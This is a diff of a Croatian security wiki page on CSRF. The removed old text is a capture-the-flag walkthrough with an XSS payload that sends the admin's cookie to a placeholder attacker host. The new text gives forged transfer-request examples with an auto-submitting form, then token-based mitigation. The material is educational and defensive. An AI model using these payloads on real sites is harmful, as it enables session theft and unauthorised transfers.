Differences

This shows you the differences between two versions of the page.

--- csrf [2023/11/21 13:45] – created zrinka
+++ csrf [2026/06/16 15:37] (current) – Promjena sadržaja primjera, velike prepravke i prerada mitigacije mbunic
@@ Line 1: / Line 1: @@
-__PRIMJER__ -**Zadatak s Hacknite platforme - Korisni linkovi**
+====CSRF=====
-<file>
-Kako bi olakšao učenje sebi i svojim prijateljima, Mario je odlučio napraviti stranicu za razmjenjivanje
-linkova. On i njegovi prijatelji si mogu slati linkove zanimljivih članaka, tutoriala ili slično.
-Iako vjeruje svojim prijateljima, i zna da nisu zlonamjerni, nakon što mu netko od njih pošalje link,
+**CSRF** (engl. //cross site request forgery//) je vrsta napada koja iskorištava ranjivost nastalu zbog nerazlikovanja autentičnih korisničkih zahtjeva od krivotvorenih zahtjeva s drugih stranica.
-Mario se ulogira na stranicu svojim korisničkim imenom 'admin' i provjeri svaki poslani link tako
-što ode na njega i provjeri na koju stranicu link vodi. To ipak može potrajati nekoliko sekundi,
-jer Mario voli detaljnije proučiti stranicu na kojoj se nalazi.
-Početkom nove akademske godine, odlučio je proširiti stranicu, i sad je i drugi ljudi mogu koristiti.
+Jednostavan primjer:
-Mario  ti je odlučio dati pristup stranici. Možeš se registrirati, ulogirati, i slati mu korisne linkove.
-Osim toga, odlučio ti je dati i source kod stranice na kojoj provjerava linkove tako da bi mogao vidjeti
-na koji on to točno radi.
-Flag je u formatu CTF2021[brojevi]
+Na adresi <code>www.example.com</code> se nalazi bankarska aplikacija koja ima sljedeću funkcionalnost implementiranu GET zahtjevima:
+<code>www.example.com/transfer?amount=1000&to=receiver_username</code>
+Ovim zahtjevom se izvršava transakcija. U parametru //amount// se definira količina novaca s računa korisnika koji je poslao zahtjev na račun korisnika s korisničkim računom navedenim u parametru //receiver_username//.
+Napadač može prilagoditi parametre //amount// i //to// u URL-u i poslati takav link žrtvi. Klikom na link, ako je žrtva aktivno prijavljena u bankarsku aplikaciju i ima aktivnu sesiju, žrtva bi poslala novce napadaču.
+Napadač može na svojoj zlonamjernoj stranici napisati JavaScript kod koji se izvršava automatski posjetom stranice i u pozadini šalje ovaj zahtjev. Web preglednik žrtve automatski dodaje kolačić sa sesijom za domenu stranice banke uz zahtjev, ako žrtva ima aktivnu sesiju na stranici banke te se transakcija izvršava u žrtvinom kontekstu. Ovo je primjer CSRF napada.
+Napad bi potencijalno bio moguć i da funkcionalnost koristi POST zahtjev. Pretpostavimo da bankarska aplikacija koristi formu sljedećeg izgleda:
+<code html>
+	<form action="/transfer" method="POST">
+		<label for="amount">Amount: </label>
+		<input type="text" name="amount" id="amount"/>
+		<label for="to">To: </label>
+	 	<input type="text" name="to" id="to">
+		<input type="submit"/>
+	</form>
-http://chal.platforma.hacknite.hr:10008
-</file>
-U prilogu se nalazi još jedna php datoteka.\\
-Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon što su napravimo, došli smo do stranice gdje možemo odabrati osobu i link koji joj šaljemo. Primjećujemo mjesto za korisnički input koje, ako nema dobro riješeno pročišćavanje unosa, može biti potencijalno ranjivo. \\
-Budući da iskorištavamo XSS ranjivost, prvo ćemo napraviti svoju web stranicu sa IP adresom {//ip_zlonamjerne_stranice//}. Marijeva stranica sadrži dio za pretraživanje linkova te ćemo u njega upisati
-<code>
-[javascript] document.location="http://{ip__zlonamjerne_stranice}/?c="+document.cookie;[/javascript]
 </code>
-Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova,ovaj JavaScript kod će se izvršiti. Preko parametra c poslani su kolačići s trenutne stranice na našu, zlonamjernu. Nakon toga na Marijevoj stranici kao ulogirani korisnik odaberemo podstranicu za slanje novih linkova. Administratoru (Mariju) pošaljemo sljedeći link:
-<code>
+Zatim napadač kreira svoju lažnu stranicu te na njoj postavi sljedeći obrazac:
-http://ip_adresa_zadatka/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2F{ip_zlonamjerne_stranice}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
-</code>
+<code html>
-Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na ip_zlonamjerne_stranice i opet smo kao c parametar unijeli document.cookie. Za razumijevanje linka važni su ovi znakovi: \\
+	<form action="https://www.example.com/transfer" method="POST">
-%3C < \\
+		<input type="hidden" name="amount" value="1000"/>
-%3E > \\
+		<input type="hidden" name="to" value="attacker">
-%3D = \\
+		<input type="submit" value="REGISTER">
-%22 " \\
+	</form>
-%3A : \\
+</code>
-%3F ? \\
-%2F / \\
+Kada bi žrtva posjetila napadačevu stranicu i pokušala se registrirati klikom na gumb REGISTER, poslala bi zahtjev POST prema <code>www.example.com/transfer</code> s parametrima amount i to postavljenim na "1000" i "attacker".
-%3B ; \\
-Kad prevedemo link na taj način, uočit ćemo da je isti kao onaj koji smo na početku upisali u svoju zlonamjernu stranicu. Ova naredba unutar <script> taga nam je omogućila da se ispiše flag koji je sadržan u kolačiću. Desetak sekundi nakon slanja ove naredbe trebao bi se pojaviti flag u logu dockera. \\
+Slanje ovog zahtjeva je također moguće automatizirati tako da ga žrtva pošalje samim posjetom stranice. Npr. dodavanjem funkcije submit u onload atribut u body elementu:
+<code html>
+<body onload="document.forms[0].submit()">
+	<form...>
+	...
+	</form>
+</body>
+</code>
+Ako je žrtva u trenutku kada posjeti napadačevu stranicu prijavljena u bankarsku aplikaciju i ako je ta aplikacija ranjiva na CSRF napade, novac bi se i u ovom slučaju prebacio sa žrtvinog računa na napadačev.
+===Prevencija CSRF ranjivosti===
+Osnovni razlog ranjivosti na CSRF napade je nedostatak mehanizma za provjeru zahtjeva, kojim bi se razlikovalo dolazi li zahtjev iz legitimnog korisničkog konteksta.
+Uobičajena zaštita od ovakvih napada je korištenje CSRF tokena. To su nasumično generirane vrijednosti čija se jedna kopija vrijednosti šalje korisniku uz odgovor poslužitelja, dok se druga pohranjuje na poslužitelju radi kasnije provjere. Često imaju kratak period valjanosti.
+Unutar POST zahtjeva klijent šalje predani token natrag nakon čega poslužitelj provjerava njegovu validnost, uspoređujući ga s vrijednošću pohranjenom na poslužitelju kako bi se odredilo jesu li vrijednosti iste. Ako je vrijednost ispravna, zahtjev se izvršava i generira se novi token.
+Alternativno, postoji i drugi pristup gdje se kopija vrijednosti nakon generiranja ne pohranjuje na poslužitelju, već se samo šalje korisniku. Korisnički zahtjev u tom slučaju mora sadržavati istu vrijednost tokena na dva mjesta: u kolačiću i unutar samog zahtjeva (npr. uz HTTP formu ili kao parametar zahtjeva). Ovakav pristup se naziva //double submit cookie pattern//
+Ako su CSRF tokeni ispravno implementirani, napadač ne može pogoditi niti saznati vrijednost CSRF tokena, pa zato ne može uspješno lažirati zahtjev korisnika. CSRF tokeni se uglavnom ne koriste u [[HTTP]] GET zahtjevima zbog čega je važno da GET zahtjevi ne mijenjaju stanje u aplikaciji.